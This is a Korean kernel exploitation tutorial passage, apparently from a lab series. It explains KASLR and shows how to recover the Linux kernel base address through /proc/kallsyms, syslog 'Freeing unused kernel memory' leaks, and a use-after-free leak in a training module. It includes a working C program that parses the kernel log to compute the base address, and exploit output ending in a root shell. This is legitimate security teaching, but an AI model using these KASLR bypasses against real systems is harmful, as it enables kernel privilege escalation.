Excuse the ads! We need some help to keep our site up.
lazenca0x0@ubuntu:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial lazenca0x0@ubuntu:~$ uname -a Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux lazenca0x0@ubuntu:~$ |
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_TIMEOUT_STYLE=hidden GRUB_TIMEOUT=0 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" ... |
"sudo update-grub" 명령을 실행하여 수정된 내용을 시스템에 반영합니다.
lazenca0x0@ubuntu:~$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.4.0-31-generic Found initrd image: /boot/initrd.img-4.4.0-31-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff810a2890 T prepare_kernel_cred ffffffff81d881d0 R __ksymtab_prepare_kernel_cred ffffffff81da35b0 r __kcrctab_prepare_kernel_cred ffffffff81db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff810a2890 T prepare_kernel_cred ffffffff81d881d0 R __ksymtab_prepare_kernel_cred ffffffff81da35b0 r __kcrctab_prepare_kernel_cred ffffffff81db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ |
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_TIMEOUT_STYLE=hidden GRUB_TIMEOUT=0 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet kaslr" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" ... |
|
lazenca0x0@ubuntu:~$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.4.0-31-generic Found initrd image: /boot/initrd.img-4.4.0-31-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~$ |
KASLR을 활성화했기 때문에 시스템이 재부팅될 때마다 커널 함수의 주소가 변경됩니다.
lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff840a2890 T prepare_kernel_cred ffffffff84d881d0 R __ksymtab_prepare_kernel_cred ffffffff84da35b0 r __kcrctab_prepare_kernel_cred ffffffff84db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff9f0a2890 T prepare_kernel_cred ffffffff9fd881d0 R __ksymtab_prepare_kernel_cred ffffffff9fda35b0 r __kcrctab_prepare_kernel_cred ffffffff9fdb01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ |
이번장에서는 공격자가 Kernel의 기본주소를 어떻게 얻을수 있는지 알아보겠습니다.
다음과 같이 KASLR이 적용되지 않은 환경에서는 리눅스 커널 이미지인 "vmlinux" 파일을 이용하여 Kernel 함수들의 주소를 찾을 수 있습니다.
readelf 명령어를 이용하여 "vmlinux" 파일에서 prepare_kernel_cred 함수의 주소를 찾을 수 있습니다.
"/proc/kallsyms" 파일에서 찾은 prepare_kernel_cred 함수의 주소 값이 "vmlinux" 파일에서 찾은 값과 동일한 것을 확인 할 수 있습니다.
"vmlinux" 파일 : 0xffffffff810a2890
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 92759: 00000000f1f7ede6 0 NOTYPE GLOBAL DEFAULT ABS __crc_prepare_kernel_cred 97668: ffffffff810a2890 86 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff810a2890 T prepare_kernel_cred ffffffff81d881d0 R __ksymtab_prepare_kernel_cred ffffffff81da35b0 r __kcrctab_prepare_kernel_cred ffffffff81db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 92759: 00000000f1f7ede6 0 NOTYPE GLOBAL DEFAULT ABS __crc_prepare_kernel_cred 97668: ffffffff810a2890 86 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred lazenca0x0@ubuntu:~$ |
offset값을 계산하기 위해 프로그램 코드 명령어가 저장되어 있는 .text 섹션의 시작 주소가 필요합니다.
readelf 명령어를 이용하여 .text 영역의 시작 주소(0xffffffff81000000)를 확인 합니다.
lazenca0x0@ubuntu:~$ readelf -S /usr/lib/debug/boot/vmlinux-4.4.0-31-generic There are 76 section headers, starting at offset 0x186adba8: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .text PROGBITS ffffffff81000000 00200000 00000000008329c6 0000000000000000 AX 0 0 4096 [ 2] .rela.text RELA 0000000000000000 0b236e38 00000000006133b0 0000000000000018 I 74 1 8 [ 3] .notes NOTE ffffffff818329c8 00a329c8 0000000000000204 0000000000000000 AX 0 0 4 [ 4] .rela.notes RELA 0000000000000000 0b84a1e8 0000000000000030 0000000000000018 I 74 3 8 [ 5] __ex_table PROGBITS ffffffff81832bd0 00a32bd0 00000000000020c8 0000000000000000 A 0 0 8 [ 6] .rela__ex_table RELA 0000000000000000 0b84a218 000000000000c4b0 0000000000000018 I 74 5 8 [ 7] .rodata PROGBITS ffffffff81a00000 00c00000 00000000003700a2 0000000000000000 A 0 0 64 [ 8] .rela.rodata RELA 0000000000000000 0b8566c8 00000000002c7dc8 0000000000000018 I 74 7 8 ... [73] .shstrtab STRTAB 0000000000000000 186ad918 000000000000028f 0000000000000000 0 0 1 [74] .symtab SYMTAB 0000000000000000 0add78a0 00000000002647e0 0000000000000018 75 66628 8 [75] .strtab STRTAB 0000000000000000 0b03c080 00000000001fadb7 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) lazenca0x0@ubuntu:~$ |
이렇게 수집된 정보들을 이용하여 다음과 같이 커널 함수의 offset 값을 얻을 수 있습니다.
prepare_kernel_cred 함수의 주소(0xffffffff810a2890) - .text 섹션의 시작 주소(0xffffffff81000000) = 0xa2890
gdb-peda$ p 0xffffffff810a2890 - 0xffffffff81000000 $1 = 0xa2890 gdb-peda$ |
lazenca0x0@ubuntu:~$ sysctl kernel.kptr_restrict kernel.kptr_restrict = 1 lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred ffffffff8b0a2890 T prepare_kernel_cred ffffffff8bd881d0 R __ksymtab_prepare_kernel_cred ffffffff8bda35b0 r __kcrctab_prepare_kernel_cred ffffffff8bdb01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ cat /proc/kallsyms |grep prepare_kernel_cred 0000000000000000 T prepare_kernel_cred 0000000000000000 R __ksymtab_prepare_kernel_cred 0000000000000000 r __kcrctab_prepare_kernel_cred 0000000000000000 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ |
lazenca0x0@ubuntu:~$ sysctl kernel.kptr_restrict kernel.kptr_restrict = 0 lazenca0x0@ubuntu:~$ cat /proc/kallsyms |grep prepare_kernel_cred ffffffff8b0a2890 T prepare_kernel_cred ffffffff8bd881d0 R __ksymtab_prepare_kernel_cred ffffffff8bda35b0 r __kcrctab_prepare_kernel_cred ffffffff8bdb01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ |
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_HIDDEN_TIMEOUT=0 GRUB_HIDDEN_TIMEOUT_QUIET=true GRUB_TIMEOUT=10 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmep kaslr" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" # Uncomment to enable BadRAM filtering, modify to suit your needs # This works with Linux (no patch required) and with any kernel that obtains # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...) #GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef" # Uncomment to disable graphical terminal (grub-pc only) #GRUB_TERMINAL=console # The resolution used on graphical terminal # note that you can use only modes which your graphic card supports via VBE # you can see them in real GRUB with the command `vbeinfo' #GRUB_GFXMODE=640x480 # Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux #GRUB_DISABLE_LINUX_UUID=true # Uncomment to disable generation of recovery mode menu entries #GRUB_DISABLE_RECOVERY="true" # Uncomment to get a beep at grub start #GRUB_INIT_TUNE="480 440 1" |
lazenca0x0@ubuntu:~$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.4.0-31-generic Found initrd image: /boot/initrd.img-4.4.0-31-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~$ reboot |
lazenca0x0@ubuntu:~/Exploit/ss$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/ss$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/ss$ ./exploit commit_creds address is :0xffffffff9f0a24a0 prepare_kernel_cred address is :0xffffffff9f0a2890 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | f7 ce 78 4c 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ��xL�,l # id uid=0(root) gid=0(root) groups=0(root) # |
Ubuntu trusty 4.4.0-* 와 Ubuntu xenial 4-8-0-* 커널들의 경우 Syslog를 통해 Kernel 메모리 주소를 확인 할 수 있습니다.
커널에는 부팅될 때만 사용하는 함수와 변수들이 있으며, 이러한 함수와 변수는 부팅 이후 커널이 동작하는 동안에는 필요치 않기 때문에 커널의 부팅이 끝날 때 init 쓰레드가 실행되는 과정에서 free_initmem() 함수를 통해 해제됩니다.
[ 1.003469] Freeing unused kernel memory: 1480K (ffffffff90f42000 - ffffffff910b4000)
lazenca0x0@ubuntu:~/Exploit$ dmesg |grep "Freeing unused" [ 1.075925] Freeing unused kernel memory: 1480K (ffffffffa9f42000 - ffffffffaa0b4000) [ 1.076181] Freeing unused kernel memory: 1836K (ffff880029835000 - ffff880029a00000) [ 1.076435] Freeing unused kernel memory: 156K (ffff880029dd9000 - ffff880029e00000) lazenca0x0@ubuntu:~/Exploit$ |
syslog를 통해 얻은 커널의 주소를 활용하기 위해 다음과 같이 offset 값을 알아야합니다.
/proc/kallsyms 파일을 이용하여 커널의 기본주소를 확인합니다.
prepare_kernel_cred 함수의 주소(0xffffffffa90a2890) - prepare_kernel_cred 함수의 offset 값(0xa2890) = 커널의 기본주소 (0xffffffffa9000000)
syslog를 통해 얻은 커널의 주소(0xffffffffaa0b4000) - 커널의 기본주소 (0xffffffffa9000000) = offset 값(0x10b4000)
lazenca0x0@ubuntu:~/Exploit$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffffa90a2890 T prepare_kernel_cred ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit$ gdb -q gdb-peda$ p 0xffffffffa90a2890 - 0xa2890 $1 = 0xffffffffa9000000 gdb-peda$ p 0xffffffffaa0b4000 - 0xffffffffa9000000 $2 = 0x10b4000 gdb-peda$ |
다음과 같이 syslog를 이용하여 커널의 기본 주소를 확인할 수 있습니다.
syslog를 통해 얻은 커널의 주소(0xffffffffb30b4000) - offset 값(0x10b4000) = 커널의 기본주소 (0xffffffffb2000000)
lazenca0x0@ubuntu:~$ dmesg |grep "Freeing unused" [ 1.279612] Freeing unused kernel memory: 1480K (ffffffffb2f42000 - ffffffffb30b4000) [ 1.279850] Freeing unused kernel memory: 1836K (ffff880032835000 - ffff880032a00000) [ 1.280087] Freeing unused kernel memory: 156K (ffff880032dd9000 - ffff880032e00000) lazenca0x0@ubuntu:~$ gdb -q gdb-peda$ p 0xffffffffb30b4000 - 0x10b4000 $1 = 0xffffffffb2000000 gdb-peda$ |
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/klog.h> #include <sys/mman.h> #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 void get_syslog(char **buffer, int *size){ *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if(*size == -1){ perror("Error"); } int pagesize = getpagesize(); *size = (*size / pagesize + 1) * pagesize; *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { perror("Error"); } } unsigned long get_kernel_addr (char *buffer, int size){ const char *needle = "Freeing unused kernel memory"; char* substr = (char*)memmem(&buffer[0], size, needle, strlen(needle)); if (substr == NULL) { printf("%s not found\n", needle); } int start = 0; int end = 0; start = strchr(substr,'-') - substr; end = strrchr(substr,'\n') - substr; const char *needle2 = "ffffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); exit(EXIT_FAILURE); } char *endptr = &substr[16]; unsigned long addr = strtoul(&substr[0], &endptr, 16); addr -= 0x10b4000ul; return addr; } void main(){ char *syslog; int size; get_syslog(&syslog, &size); unsigned long is_kernel_base_addr = get_kernel_addr(syslog, size); printf("The base address of the kernel is '0x%lx'\n", is_kernel_base_addr); } |
lazenca0x0@ubuntu:~/Exploit$ gcc -o addr addr.c lazenca0x0@ubuntu:~/Exploit$ ./addr The base address of the kernel is '0xffffffffa9000000' lazenca0x0@ubuntu:~/Exploit$ |
... [ 2.590928] rtc_cmos 00:01: setting system clock to 2019-09-26 09:46:58 UTC (1569491218) [ 2.702268] Freeing unused kernel image memory: 2456K [ 2.716264] Write protecting the kernel read-only data: 20480k [ 2.717033] Freeing unused kernel image memory: 2008K [ 2.717427] Freeing unused kernel image memory: 1900K [ 2.724026] x86/mm: Checked W+X mappings: passed, no W+X pages found. ... |
다음과 같이 취약성을 통해 Kernel 주소 정보를 얻을 수 있습니다.
설명을 위해 07.Use-After-Free(UAF) (feat.tty_struct)에서 사용한 커널 모듈 및 PoC코드을 이용하겠습니다.
커널 모듈을 등록하고 PoC-3 파일을 실행하면, 취약성에 의해 메모리에 저장된 데이터가 출력됩니다.
출력된 데이터 중에서 2번째 줄에 "c0 2c a7 a0 ff ff ff ff"이라는 데이터가 존재합니다
공격자는 이 주소(0xffffffff87a72cc0)를 이용하여 커널의 기본 주소를 계산할 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3 01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00 | T 00 be 00 35 00 88 ff ff c0 2c a7 87 ff ff ff ff | �5����,������ 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 28 cd 38 00 88 ff ff | 8(�8��� 38 28 cd 38 00 88 ff ff 48 28 cd 38 00 88 ff ff | 8(�8���H(�8��� 48 28 cd 38 00 88 ff ff 30 90 8b 39 00 88 ff ff | H(�8���0��9��� 01 00 00 00 00 00 00 00 68 28 cd 38 00 88 ff ff | h(�8��� 68 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | h(�8��� 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 | 90 28 cd 38 00 88 ff ff 90 28 cd 38 00 88 ff ff | �(�8����(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 b8 28 cd 38 00 88 ff ff | �(�8��� b8 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | �(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | e0 28 cd 38 00 88 ff ff e0 28 cd 38 00 88 ff ff | �(�8����(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 08 29 cd 38 00 88 ff ff | )�8��� 08 29 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 |)�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00 | � 00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17 | 16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00 | �� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00 | ptm4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 a0 d2 39 00 88 ff ff | ��9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 2a cd 38 00 88 ff ff | 8*�8��� 38 2a cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | 8*�8��� 50 2a cd 38 00 88 ff ff 50 2a cd 38 00 88 ff ff | P*�8���P*�8��� e0 ff ff ff 0f 00 00 00 68 2a cd 38 00 88 ff ff | ����h*�8��� 68 2a cd 38 00 88 ff ff 50 96 4e 87 ff ff ff ff | h*�8���P�N����� 00 c0 36 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff | �6����\W;��� d0 6b 1f 30 00 88 ff ff d0 6b 1f 30 00 88 ff ff | �k0����k0��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00 | ���� c0 2a cd 38 00 88 ff ff c0 2a cd 38 00 88 ff ff | �*�8����*�8��� d0 b6 4e 87 ff ff ff ff 00 12 6d 32 00 88 ff 00 | жN�����m2�� lazenca0x0@ubuntu:~/Exploit/uaf$ |
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred ffffffff870a2890 T prepare_kernel_cred ffffffff87d881d0 R __ksymtab_prepare_kernel_cred ffffffff87da35b0 r __kcrctab_prepare_kernel_cred ffffffff87db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q gdb-peda$ p 0xffffffff870a2890 - 0xa2890 $1 = 0xffffffff87000000 gdb-peda$ p 0xffffffff87a72cc0 - 0xffffffff87000000 $2 = 0xa72cc0 gdb-peda$ |
lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3 01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00 | T 00 be 00 35 00 88 ff ff c0 2c a7 a9 ff ff ff ff | �5����,������ 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 9c 63 39 00 88 ff ff | 8�c9��� 38 9c 63 39 00 88 ff ff 48 9c 63 39 00 88 ff ff | 8�c9���H�c9��� 48 9c 63 39 00 88 ff ff 50 16 08 3a 00 88 ff ff | H�c9���P:��� 01 00 00 00 00 00 00 00 68 9c 63 39 00 88 ff ff | h�c9��� 68 9c 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 | h�c9��� 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 | 90 9c 63 39 00 88 ff ff 90 9c 63 39 00 88 ff ff | ��c9�����c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 b8 9c 63 39 00 88 ff ff | ��c9��� b8 9c 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 | ��c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | e0 9c 63 39 00 88 ff ff e0 9c 63 39 00 88 ff ff | ��c9�����c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 08 9d 63 39 00 88 ff ff | �c9��� 08 9d 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 |�c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00 | � 00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17 | 16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00 | �� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00 | ptm4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 a0 63 39 00 88 ff ff | �c9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 9e 63 39 00 88 ff ff | 8�c9��� 38 9e 63 39 00 88 ff ff 00 00 00 00 00 00 00 00 | 8�c9��� 50 9e 63 39 00 88 ff ff 50 9e 63 39 00 88 ff ff | P�c9���P�c9��� e0 ff ff ff 0f 00 00 00 68 9e 63 39 00 88 ff ff | ����h�c9��� 68 9e 63 39 00 88 ff ff 50 96 4e a9 ff ff ff ff | h�c9���P�N����� 00 20 e0 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff | �����\W;��� 30 a9 a0 39 00 88 ff ff 30 a9 a0 39 00 88 ff ff | 0��9���0��9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00 | ���� c0 9e 63 39 00 88 ff ff c0 9e 63 39 00 88 ff ff | ��c9�����c9��� d0 b6 4e a9 ff ff ff ff 00 56 99 37 00 88 ff 00 | жN�����V�7�� lazenca0x0@ubuntu:~/Exploit/uaf$ |
앞에서 확인한 offset 값들을 이용하여 커널의 기본 주소와 prepare_kernel_cred() 함수의 주소를 알 수 있습니다.
취약성을 통해 유출된 커널의 주소(0xffffffffa9a72cc0) - 유출된 주소에서 커널의 기본주소 까지의 offset(0xa72cc0) = 0xffffffffa9000000
커널의 기본주소(0xffffffffa9000000) + prepare_kernel_cred함수의 offset(0xa2890) = 0xffffffffa90a2890
lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q gdb-peda$ p 0xffffffffa9a72cc0 - 0xa72cc0 $1 = 0xffffffffa9000000 gdb-peda$ p 0xffffffffa9000000 + 0xa2890 $2 = 0xffffffffa90a2890 gdb-peda$ quit lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred ffffffffa90a2890 T prepare_kernel_cred ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit/uaf$ |